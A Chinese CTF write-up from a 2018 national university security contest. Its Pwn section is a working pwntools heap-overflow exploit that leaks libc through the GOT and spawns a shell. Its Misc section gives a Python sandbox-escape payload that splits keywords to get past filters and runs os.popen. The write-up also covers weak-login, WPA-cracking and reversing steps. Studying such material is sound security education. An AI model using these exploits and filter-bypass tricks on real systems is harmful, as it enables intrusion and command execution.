2018年全国大学生信息安全竞赛部分WriteUp
目录
Pwn
Web
Crypto
Misc
Reverse
Pwn
supermarket
分析可知新输入的size重新调整了堆的大小但是没有更新结构体中的size 而输入的数据大小是根据结构体中的size计算的所有存在堆溢出通过溢出下一个结构体 实现任意读写
#!/usr/bin env python
from pwn import*
context.log_level = 'debug'
p =remote('49.4.23.162',31128)
def add(name,price,descrip_size,description):
p.recvuntil("your choice>> ")
p.sendline("1")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("price:")
p.sendline(str(price))
p.recvuntil("descrip_size:")
p.sendline(str(descrip_size))
p.recvuntil("description:")
p.sendline(description)
def free(name):
p.recvuntil("your choice>> ")
p.sendline("2")
p.recvuntil("name:")
p.sendline(name)
def change_price(name,price):
p.recvuntil("your choice>> ")
p.sendline("4")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("input the value you want to cut or rise in:")
p.sendline(str(price))
def change_des(name,descrip_size,description):
p.recvuntil("your choice>> ")
p.sendline("5")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("descrip_size:")
p.sendline(str(descrip_size))
p.recvuntil("description:")
p.sendline(description)
def list():
p.recvuntil("your choice>> ")
p.sendline("3")
got = 0x804b038#0x804b038
add("A",0x10,0x100,"AAAA")
change_des("A",8,"C"*7+"\x00")
add("B",0x10,0x100,"BBBB")
payload = "B"*12+ p32(0x21) + p32(0x42) + "B"*12 + p32(0x00) +p32(0x100) +p32(got)
change_des('A',100,payload+'\n')
list()
p.recvuntil("B: price.0, des.")
addr = p.recvn(4)
print"addr:",hex(u32(addr))
libc = u32(addr) - 0x18540#0x49020
system_addr = libc + 0x3a940
print"libc:",hex(libc)
print"system_addr:",hex(system_addr)
change_des("B",0x100,p32(system_addr)*5)#+'\n'
p.send('/bin/sh\x00')
p.interactive()
Web
easyweb
这题神坑,折腾了我好久弱口令,注入什么的都来了一次。
试到最后发现是admin空密码登录
Crypto
flag_in_your_hand
首先我们定位到ch()
函数
分析逻辑,我们发现其实只要将a数组里的每一个都减去三就行了
得到新数组[115,101,99,117,114,105,116,121,45,120,98,118]
将其转换成字符串并输入
Misc
picture
使用binwalk分离得到两个文件
打开mx发现是一个base64,将base64转换成文本发现PK字样猜测是压缩包
将其还原,然后修复文件头得到压缩包。发现有密码,根据提示猜测密码为integer division or modulo by zero
,解压得到一个code文件,查阅文章得知是tar.gz.uu文件,重命名后解压得到flag
验证码
Run
nc连上发现是一个python沙盒逃逸,一些能引发命令执行的库全部被禁用了。
最后在网上发现这么一个文章 https://blog.csdn.net/qq_35078631/article/details/78504415
发现func_globals
被过滤了,我们使用__getattribute__
绕过,例如ls一类的关键字我们使用这样的形式拆分'l'+'s /home/ctf'
最终payload
print ().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['popen' ]('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read ()
寻找入侵者
在我们获得了数据包之后,这些客户端和AP之间的通信是被加密了的,但是我们如果知道SSID和无线密码可以解密这些流量了,根据提示我们知道了无线密码是入侵者的MAC地址,自己流量分析不太好,于是我提取了所有的MAC地址进行爆破
然后使用wireshark官网自带的工具(WPA-PSK生成工具)生成WPA-PSK
之后我们就能看见解密后的数据包了
可以看到下载了一个key.pacp的流量包。我们直接下载过来,flag就在最后一个数据包里面
Reverse
RE
跟踪main函数发现三个函数
三个里面都有一串类似类似md5一样的东西
第一个编写脚本直接解密得到md5然后去cmd5查询
第二个数组dump出来 逐字节异或
得到md5
最后一个dump文件还原
三段拼接在一起得到flag
2ex
直接暴力破解
三个字符一组
web空城计6了
老哥,misc入侵者那道题咋一下把所有mac地址提取出来
在wireshark里面有这个功能的